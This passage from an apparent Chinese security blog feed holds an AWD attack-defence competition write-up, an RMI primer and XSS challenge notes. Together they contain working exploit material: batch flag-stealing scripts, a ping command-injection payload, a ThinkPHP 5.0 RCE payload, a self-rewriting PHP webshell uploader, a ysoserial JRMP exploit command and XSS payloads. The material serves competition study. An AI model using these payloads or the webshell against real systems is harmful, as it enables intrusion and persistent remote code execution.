    foreach ($contents as $path =&amp;gt; $object) {
        if (is_array($object)) {
            $contents[$path] = array_intersect_key($object, $cachedProperties);
        }
    }

    return $contents;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584451622290.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;跟进 &lt;code&gt;set&lt;/code&gt; 函数，这里的 &lt;code&gt;$this-&amp;gt;store&lt;/code&gt; 已经被覆盖为 File 类&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584451656966.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584451671730.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后有两个利用方式：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code&gt;protected function serialize($data): string
{
    if (is_numeric($data)) {
        return (string) $data;
    }

    $serialize = $this-&amp;gt;options[&apos;serialize&apos;][0] ?? &quot;\Opis\Closure\serialize&quot;;

    return $serialize($data);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;利用伪协议任意文件写入&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584451721156.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>apache配置文件简单记录</title><link>https://rayepeng.net/posts/apache%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E7%AE%80%E5%8D%95%E8%AE%B0%E5%BD%95/</link><guid isPermaLink="true">https://rayepeng.net/posts/apache%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E7%AE%80%E5%8D%95%E8%AE%B0%E5%BD%95/</guid><pubDate>Sat, 14 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;一直不太清楚apache的配置文件，简单记录一下&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/apache2&lt;/code&gt; 下的文件&lt;/p&gt;
&lt;p&gt;&lt;code&gt;apache2.conf&lt;/code&gt; 是主配置文件，之后的 &lt;code&gt;available&lt;/code&gt; 代表可用的, &lt;code&gt;enable&lt;/code&gt; 代表已经启用的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584192313504.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sites-enabled&lt;/code&gt; 下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584192394696.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;000-default.conf 文件规定了网站根目录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;
        # The ServerName directive sets the request scheme, hostname and port that
        # the server uses to identify itself. This is used when creating
        # redirection URLs. In the context of virtual hosts, the ServerName
        # specifies what hostname must appear in the request&apos;s Host: header to
        # match this virtual host. For the default virtual host (this file) this
        # value is not decisive as it is used as a last resort host regardless.
        # However, you must set it for any further virtual host explicitly.
        #ServerName www.example.com

        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html

        # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
        # error, crit, alert, emerg.
        # It is also possible to configure the loglevel for particular
        # modules, e.g.
        #LogLevel info ssl:warn

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

        # For most configuration files from conf-available/, which are
        # enabled or disabled at a global level, it is possible to
        # include a line for only one particular virtual host. For example the
        # following line enables the CGI configuration for this host only
        # after it has been globally disabled with &quot;a2disconf&quot;.
        #Include conf-available/serve-cgi-bin.conf
&amp;lt;/VirtualHost&amp;gt;

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;/etc/apache2/mods-enabled /mime.conf&lt;/code&gt; 中配置了可以解析的文件类型&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584192584702.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样就能解析 php5 等的后缀了&lt;/p&gt;
</content:encoded></item><item><title>星盟3月AWD比赛</title><link>https://rayepeng.net/posts/%E6%98%9F%E7%9B%9F3%E6%9C%88awd%E6%AF%94%E8%B5%9B/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%98%9F%E7%9B%9F3%E6%9C%88awd%E6%AF%94%E8%B5%9B/</guid><pubDate>Sat, 14 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;又双叒叕的打了一次AWD比赛，简单地总结一下&lt;/p&gt;
&lt;h2&gt;web2&lt;/h2&gt;
&lt;h3&gt;直接读flag&lt;/h3&gt;
&lt;p&gt;最开始放了web2，ssh连上去，d盾没扫出什么东西&lt;/p&gt;
&lt;p&gt;然后开始一个个看(现在都流行不放shell，直接给flag的2333)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584182423201.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;丢给群里的其他师傅开始写批量&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

port = [20180,20280,20380,20480,20580,20680,20780,20880,20980,21080,21180,21280,21380,21480,21580,21680,21780,21880,21980,22080,22180,22280,22380,22480]
url = &apos;http://ip:{port}/login.php&apos;
for i in port:
    r = requests.get(url=url.format(port=str(i)))
    if r.status_code == 200:
        try:
            print(re.findall(r&quot;(flag{.*})&quot;,r.text)[0])
        except IndexError:
            pass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;批量交flag(后来发现平台有设置csrf token。导致无法批量交。)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;send_url = &apos;http://ip:8001/api/v1/challenges/attempt&apos;
cookie = {&apos;Cookie&apos;: &apos;session=be71fde5-8749-46b2-8ac6-fb30b0ec93bb; PHPSESSID=pdq189at1p9g6478tmt8urkng2&apos;}
for flag in submit_flag:
    data = {&quot;challenge_id&quot;:2,&quot;submission&quot;:flag}
    requests.post(url=send_url,data=data,cookies=cookie)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后合并为十分钟交一次&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

from time import sleep
while True:
    port = [20180,20280,20380,20480,20580,20680,20780,20880,20980,21080,21180,21280,21380,21480,21580,21680,21780,21880,21980,22080,22180,22280,22380,22480]
    url = &apos;http://ip:{port}/login.php&apos;
    submit_flag = []
    for i in port:
        r = requests.get(url=url.format(port=str(i)))
        if r.status_code == 200:
            try:
                submit_flag.append(re.findall(r&quot;(flag{.*})&quot;,r.text)[0])
            except IndexError:
                pass
    
    send_url = &apos;http://ip:8001/api/v1/challenges/attempt&apos;
    cookie = {&apos;Cookie&apos;: &apos;session=be71fde5-8749-46b2-8ac6-fb30b0ec93bb; PHPSESSID=pdq189at1p9g6478tmt8urkng2&apos;}
    for flag in submit_flag:
        data = {&quot;challenge_id&quot;:2,&quot;submission&quot;:flag}
        req = requests.post(url=send_url,data=data,cookies=cookie)
        if &apos;incorrect&apos; not in req.text:
            print(&apos;提交正确&apos;)
    sleep(600)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ps.赛后师傅说并没有换cookie，用下面的代码就能批量交。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584186516112.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;后台任意文件上传&lt;/h3&gt;
&lt;p&gt;看到 &lt;code&gt;test.sql&lt;/code&gt; 中是有用户名和密码的，登录之后有上传点&lt;/p&gt;
&lt;p&gt;黑名单只有这几个。。而且htaccess还写错了，php5,php7,phtml也都没有过滤，不过上传之后还是会重命名，算是也过滤了 &lt;code&gt;.htaccess&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$black_list = [&quot;ini&quot;,&quot;htacces&quot;,&quot;php&quot;,&quot;ph3&quot;,&quot;html&quot;];
$ext=pathinfo($name)[&apos;extension&apos;];
$ext =strtolower($ext);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;web3&lt;/h2&gt;
&lt;h3&gt;md文件解析漏洞&lt;/h3&gt;
&lt;p&gt;这个web套路好深2333&lt;/p&gt;
&lt;p&gt;d盾可以扫到一个shell，但是是在markdown文件中，还有一个是库中的回调函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584182744449.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最开始以为是d盾误报，结果后来看了一眼 &lt;code&gt;.htaccess&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;AddType application/x-httpd-php .html .md
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;居然将markdown文件解析为php….这个思路挺强的&lt;/p&gt;
&lt;p&gt;但是由于发现的比较晚，貌似都修好了&lt;/p&gt;
&lt;h3&gt;ping命令执行&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function waf($str){
    $str=str_replace(&apos; &apos;,&apos;&apos;,$str);
    $str=str_replace(&apos;;&apos;,&apos;&apos;,$str);
    $str=str_replace(&apos;|&apos;,&apos;&apos;,$str);
    return $str;
}
function ping($host){
    $host=waf($host);
    var_dump($host);
    system(&quot;ping -c 1 $host&quot;);
}

if(isset($_REQUEST[1]))
    ping($_REQUEST[1]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个命令执行倒是挺简单的， &lt;code&gt;&amp;amp;cat&amp;lt;/flag&lt;/code&gt; 即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

port = [30180,30280,30680,30780,30980,31180,31280,31380,31480,31580,31780,31880,31980,32080,32180,32280,32380,32480,31080,30580,30380,30480,30880,31680]
url = &apos;http://ip:{port}/common/function.php?1=&amp;amp;cat&amp;lt;/flag&apos;
for i in port:
    r = requests.get(url=url.format(port=str(i)))
    try:
        print(re.findall(r&quot;(flag{.*})&quot;,r.text)[0])
    except IndexError:
        pass
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;后台文件上传&lt;/h3&gt;
&lt;p&gt;审计源码发现 &lt;code&gt;admin, admin&lt;/code&gt; 即可登陆&lt;/p&gt;
&lt;p&gt;然后有文件上传点，直接传shell.md即可解析&lt;/p&gt;
&lt;p&gt;事后写了一个批量上传不死马的脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

bs_webshell = &quot;&quot;&quot;&amp;lt;?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = &apos;%s&apos;;
    $code = &apos;&amp;lt;?php if($_POST[&quot;pass&quot;]==&quot;%s&quot;){@eval($_POST[1]);}?&amp;gt;&apos;;
    while (1) {
        file_put_contents($file, $code);
        system(&apos;touch -m -d &quot;2018-12-01 09:10:12&quot; %s&apos;);
        usleep(50);
    }
?&amp;gt;&quot;&quot;&quot;
secret = &quot;pxy&quot;
shell_path = &quot;.pxy.php&quot;

def md5_hash(s):
    return hashlib.md5(s.encode()).hexdigest()
def generateShell(ip):
    pwd = md5_hash(secret + ip)
    shell = bs_webshell % (shell_path, pwd, shell_path)
    print(shell)
    return shell

def checkShell(ip,shell_path):
    url = &apos;http://%s/%s&apos; % (ip, shell_path)
    try:
        res = requests.get(url, timeout=3)
    except:
        pass
    pwd = md5_hash(secret + ip)
    res = requests.post(url, data={&apos;pass&apos;: pwd, &apos;1&apos;: &apos;echo(123);&apos;})
    print(res.text)
    if res.text == &apos;123&apos;:
        print(&apos;[+]&apos;+ip,&apos;Check OK&apos;)

ports = [30180,30280,30380,30480,30580,30680,30780,30880,30980,31080,31180,31280,31380,31480,31580,31680,31780,31880,31980,33080,32180,32280,32380,32480]
ip = &quot;127.0.0.1&quot;

for i in ports:
    files = {&quot;pic&quot;:(&apos;shell.md&apos;, generateShell(ip), &apos;application/octet-stream&apos;)}
    cookies = dict(PHPSESSID=&apos;fjue55il5q0v90fp8l66us6hq0&apos;)

    url = &quot;http://&quot;+ip+&quot;:&quot;+str(i)

    url_upload = url+&quot;/index.php?c=User&amp;amp;a=upload&quot;
    r = requests.post(url=url_upload,files=files, cookies=cookies)
    if b&quot;successfully&quot; in r.content:
        print(&quot;[+]&quot;+ip+&quot;:&quot;+str(i)+&quot; upload success&quot;)
    
    url_1 = url + &quot;/upload/admin_shell.md&quot;

    try:
        r = requests.get(url_1,timeout=2)
    except requests.exceptions.ReadTimeout:
        checkShell(ip, &quot;upload/.pxy.php&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后来研究发现，其实文件上传不仅仅是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/index.php?c=User&amp;amp;a=upload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/index.php?c=File&amp;amp;a=save
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为 &lt;code&gt;index.php&lt;/code&gt; 是这样写的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$c=isset($_GET[&apos;c&apos;])?$_GET[&apos;c&apos;]:&apos;User&apos;;
$a=isset($_GET[&apos;a&apos;])?$_GET[&apos;a&apos;]:&apos;Index&apos;;

$obj=run_c($c);
run_a($obj,$a);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;URL格式为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost/index.php?c=User&amp;amp;a=home
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就是可以调用任意类的任意方法&lt;/p&gt;
&lt;p&gt;ps比赛的时候我们是这么想的：&lt;/p&gt;
&lt;p&gt;看到 &lt;code&gt;base.php&lt;/code&gt; 中实例化了 &lt;code&gt;Smarty&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584186763035.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后看到这里有一处eval。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584186784920.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是就开始想能不能getshell，但是无果。&lt;/p&gt;
&lt;h3&gt;后台getshell&lt;/h3&gt;
&lt;p&gt;感谢a2u13师傅&lt;/p&gt;
&lt;p&gt;还是接前面的分析，可以执行任意类的任意方法。但是那个地方是字符串拼接！。&lt;/p&gt;
&lt;p&gt;所以可以直接通过 &lt;code&gt;;&lt;/code&gt; 进行命令注入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584188249191.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;File类需要登陆才能使用，换一个 &lt;code&gt;User&lt;/code&gt;类就行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584188382658.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;比赛的时候确实没往这块想，还是要加强代码审计啊&lt;/p&gt;
&lt;h3&gt;反序列化漏洞&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

class home{
    
    public $method;
    public $args;
    function __construct($method, $args) {
        
      
        $this-&amp;gt;method = $method;
        $this-&amp;gt;args = $args;
    }

    function __destruct(){
        var_dump($this-&amp;gt;method);
        ($this-&amp;gt;method)($this-&amp;gt;args);
    } 

}
     $a=$_REQUEST[&apos;a&apos;];
    @unserialize($a);
    
     ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看上去挺像反序列化的，但是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;($this-&amp;gt;method)($this-&amp;gt;args);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里是报错的，所以比赛的时候没法利用&lt;/p&gt;
&lt;p&gt;复盘的时候才意识到原来只有php7才可以这么用&lt;/p&gt;
&lt;p&gt;经过测试发现只能直接动态调用system函数，eval和assert都是不行的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584191203655.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584191226590.png&quot; alt=&quot;eval是不行的&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;web1&lt;/h2&gt;
&lt;p&gt;web1是最后放出来的，为了提高挑战性不给ssh密码。&lt;/p&gt;
&lt;p&gt;但是稍微看两眼就会发现是tp5.0写的，还开了debug，于是直接RCE了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

port = [10180,10280,10380,10480,10580,10680,10780,10880,10980,11080,11180,11280,11380,11480,11580,11680,11780,11880,11980,12080,12180,12280,12380,12480]
url_flag = &apos;http://ip:{port}/public/index.php?s=captcha&apos;
data = {&apos;_method&apos;:&apos;__construct&apos;,
        &apos;filter[]&apos;:&apos;system&apos;,
        &apos;method&apos;:&apos;get&apos;,&apos;get[]&apos;:&apos;cat /flag&apos;}
for i in port:
    r = requests.post(url=url_flag.format(port=str(i)),data=data)
    if r.status_code == 200:
        try:
            print((re.findall(r&quot;(flag{.*})&quot;,r.text)[0]))
        except IndexError:
            pass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一波flag还是挺舒服的，但是遗憾的是没法修啊。。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584183311879.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不过后来意识到可以直接将 &lt;code&gt;/var/www/html&lt;/code&gt; 下的文件打包下载，还可以自己往里面写shell然后蚁剑连接进行修改。&lt;/p&gt;
</content:encoded></item><item><title>RMI入门</title><link>https://rayepeng.net/posts/rmi%E5%85%A5%E9%97%A8/</link><guid isPermaLink="true">https://rayepeng.net/posts/rmi%E5%85%A5%E9%97%A8/</guid><pubDate>Thu, 12 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;基础知识&lt;/h2&gt;
&lt;p&gt;RMI（Remote Method Invocation）为远程方法调用，是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中，也可以是运行在&lt;strong&gt;网络上的不同计算机中,&lt;strong&gt;它的底层是由&lt;/strong&gt;socket&lt;/strong&gt;和&lt;strong&gt;java序列化和反序列化&lt;/strong&gt;支撑起来的。&lt;/p&gt;
&lt;p&gt;Java RMI：Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。&lt;/p&gt;
&lt;p&gt;我们知道远程过程调用（Remote Procedure Call, RPC）可以用于一个进程调用另一个进程（很可能在另一个远程主机上）中的过程，从而提供了过程的分布能力。Java 的 RMI 则在 RPC 的基础上向前又迈进了一步，即提供分布式对象间的通讯。&lt;/p&gt;
&lt;h3&gt;如何找到类？&lt;/h3&gt;
&lt;p&gt;类似DNS中域名和IP的对应关系，RMI中有一个 &lt;strong&gt;RMIRegistry&lt;/strong&gt; 来提供这种对应关系，客户端通过访问 &lt;strong&gt;RMIRegistry&lt;/strong&gt; 来获得对应的类进行加载&lt;/p&gt;
&lt;h3&gt;数据是如何传递的？&lt;/h3&gt;
&lt;p&gt;当客户端通过RMI注册表找到一个远程接口的时候，所得到的其实是远程接口的一个动态代理对象。当客户端调用其中的方法的时候，方法的参数对象会在序列化之后，传输到服务器端。服务器端接收到之后，进行反序列化得到参数对象。并使用这些参数对象，在服务器端调用实际的方法。调用的返回值Java对象经过序列化之后，再发送回客户端。客户端再经过反序列化之后得到Java对象，返回给调用者。这中间的序列化过程对于使用者来说是透明的，由动态代理对象自动完成。&lt;/p&gt;
&lt;p&gt;所以客户端并不是直接和服务端进行通信的，而是由客户端代理和服务端代理进行通信&lt;/p&gt;
&lt;p&gt;如下图：RMI服务器在 &lt;strong&gt;RMIRegistry&lt;/strong&gt; 中进行注册，客户端去查找，然后再进行RMI调用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584862271326.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;示例&lt;/h2&gt;
&lt;p&gt;Hello接口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;


public interface Hello extends Remote{
    public String hello() throws RemoteException;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应的实现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;



/**
 * @description: Hello实现
 * @author: Pxy
 * @create: 2020-03-12 22:15
 **/
public class RemoteHello extends UnicastRemoteObject implements Hello{
    protected RemoteHello() throws RemoteException {
        super();
    }
    public String  hello() throws RemoteException {
        return &quot;hello&quot;;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建一个服务端&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;





/**
 * @description: RMI服务器
 * @author: Pxy
 * @create: 2020-01-20 08:45
 **/
public class RMIServer {
    public void start() throws Exception{
        RemoteHello h = new RemoteHello();

        LocateRegistry.createRegistry(1099);
        Naming.bind(&quot;rmi://127.0.0.1:1099/Hello&quot;, h);
    }

    public static void main(String[] args) throws Exception {
        RMIServer rmiServer = new RMIServer();
        rmiServer.start();

    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;客户端进行访问&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

/**
 * @description: RMI客户端
 * @author: Pxy
 * @create: 2020-01-20 08:57
 **/
public class TrainMain {

    public static void main(String[] args) throws Exception {
        Hello hello = (Hello) Naming.lookup(&quot;rmi://127.0.0.1/Hello&quot;);
        System.out.println(hello.hello());

    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;（最好能放在两个不同的文件夹&lt;/p&gt;
&lt;p&gt;抓包看一些通信的数据&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584863994742.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到 return data, aced 就是java序列化后的标志&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584864050735.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;攻击RMI服务端&lt;/h2&gt;
&lt;p&gt;这里用的java7&lt;/p&gt;
&lt;h3&gt;JRMP&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Java远程方法协议（英语：Java Remote Method Protocol，JRMP）是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用（RMI）之下、TCP/IP之上的线路层协议（英语：Wire protocol）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;通俗点解释，它就是一个协议，一个在TCP/IP之上的线路层协议，一个RMI的过程，是用到JRMP这个协议去组织数据格式然后通过TCP进行传输，从而达到RMI，也就是远程方法调用&lt;/p&gt;
&lt;p&gt;由于JRMP协议在传输过程中的数据是序列化后的，不管是服务端还是客户端，当接收到JRMP协议数据时，都会把序列化的数据进行反序列化的话，这样就可以互相对打&lt;/p&gt;
&lt;h3&gt;示例：&lt;/h3&gt;
&lt;p&gt;创建一个 RMI 服务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;


/**
 * @description: 创建一个RMI服务
 * @author: Pxy
 * @create: 2020-03-22 15:18
 **/
public class App {

    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
        while(true);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这个服务器上(其实都是在本地，只是区分一下)，存在有漏洞的Apache Common Collections库，那么就可以直接用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections1 calc.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584864819094.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://wulidecade.cn/2020/02/15/RMI%E5%85%A5%E9%97%A8/#more&quot;&gt;RMI入门&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/7079#toc-3&quot;&gt;一篇写的很清楚的文章&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>XSS学习记录</title><link>https://rayepeng.net/posts/xss%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/</link><guid isPermaLink="true">https://rayepeng.net/posts/xss%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/</guid><pubDate>Tue, 10 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;XSS挑战&lt;/h2&gt;
&lt;p&gt;(突然发现这个平台有bug，只需要在控制台alert(1)即可。。)&lt;/p&gt;
&lt;h3&gt;level1&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;http://test.ctf8.com/level1.php?name=%3Cscript%3Ealert(1)%3C/script%3E
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;level2&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;没有找到和&amp;lt;/h2&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;h2&amp;gt;相关的结果.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h2 align=center&amp;gt;没有找到和&amp;lt;scRipt&amp;gt;alert(1)&amp;lt;/script&amp;gt;相关的结果.&amp;lt;/h2&amp;gt;&amp;lt;center&amp;gt; &amp;lt;form action=level2.php method=GET&amp;gt; &amp;lt;input name=keyword  value=&quot;&amp;lt;scRipt&amp;gt;alert(1)&amp;lt;/script&amp;gt;&quot;&amp;gt; &amp;lt;input type=submit name=submit value=&quot;搜索&quot;/&amp;gt; &amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;level3 js事件绕过&lt;/h3&gt;
&lt;p&gt;这次两个都被转义了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h2 align=center&amp;gt;没有找到和&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;相关的结果.&amp;lt;/h2&amp;gt;&amp;lt;center&amp;gt; &amp;lt;form action=level3.php method=GET&amp;gt; &amp;lt;input name=keyword  value=&apos;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&apos;&amp;gt; &amp;lt;input type=submit name=submit value=搜索 /&amp;gt; &amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那就不用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;onmouseover=&apos;alert(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;提交之后鼠标悬浮到上面即可触发&lt;/p&gt;
&lt;h3&gt;level4&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h2 align=center&amp;gt;没有找到和&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;相关的结果.&amp;lt;/h2&amp;gt;&amp;lt;center&amp;gt; &amp;lt;form action=level4.php method=GET&amp;gt; &amp;lt;input name=keyword  value=&quot;scriptalert(1)/script&quot;&amp;gt; &amp;lt;input type=submit name=submit value=搜索 /&amp;gt; &amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同样的绕过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot; onmouseover=&quot;alert(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;level5 a标签绕过&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h2 align=center&amp;gt;没有找到和&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;相关的结果.&amp;lt;/h2&amp;gt;&amp;lt;center&amp;gt; &amp;lt;form action=level5.php method=GET&amp;gt; &amp;lt;input name=keyword  value=&quot;&amp;lt;scr_ipt&amp;gt;alert(1)&amp;lt;/script&amp;gt;&quot;&amp;gt; &amp;lt;input type=submit name=submit value=搜索 /&amp;gt; &amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是现在会被过滤&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input name=keyword  value=&quot;&apos;o_nmouseover=&apos;alert(1)&quot;&amp;gt;
&amp;lt;input type=submit name=submit value=搜索 /&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么事件不能用了&lt;/p&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;&amp;gt;&amp;lt;a href=&quot;javascript:alert(1);&quot;&amp;gt;aaa&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581324449393.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
